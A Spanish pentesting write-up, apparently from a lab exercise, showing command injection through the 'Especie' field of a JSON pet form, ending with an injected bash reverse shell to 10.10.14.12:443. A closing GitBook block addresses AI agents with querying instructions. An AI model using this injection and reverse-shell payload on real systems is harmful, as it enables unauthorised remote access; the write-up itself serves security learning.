> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE en JSON

<figure><img src="/files/63cd44e2a653e77629eeedc8e74508051b51a2c7" alt=""><figcaption></figcaption></figure>

Tenemos la posibilidad de añadir "mascotas" con sus especies, lo que permite una inyección JSON.

<figure><img src="/files/62094712340f1d232fc8fd8a2b0bbabf8e2f90cd" alt=""><figcaption></figcaption></figure>

Interceptamos las solicitudes con Burp Suite e intentamos manipular la solicitud añadiendo una entrada con el nombre y la especie:

<figure><img src="/files/634b9034c0e95c02bffd171d9310ad0eab7c16e7" alt=""><figcaption></figcaption></figure>

Esta entrada se interpreta, lo que permite una inyección.

```json
{
    "Nombre": "jordan",
    "Especie": "jordan"
}

```

<figure><img src="/files/dfb37c6f2d3d80fbf2310d30cfb8802cf8451e96" alt=""><figcaption></figcaption></figure>

Configuramos en escucha las trazas ICMP para observar las comunicaciones y probar inyecciones de comandos:

```bash
sudo tcpdump -i tun0 icmp

```

Recibimos de vuelta un ping, lo que confirma la posibilidad de ejecución remota de comandos.

<figure><img src="/files/5171ffd55e10bd3ada2686df2d7309f71059396b" alt=""><figcaption></figcaption></figure>

Luego, enviamos una consulta con `curl` a nuestro servidor Python y recibimos también una consulta, lo que confirma la vulnerabilidad de ejecución remota de código.

```bash
{
    "Nombre": "jordan",
    "Especie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/2564d87d6886c9d63137faa3a020f53696aef0f0" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
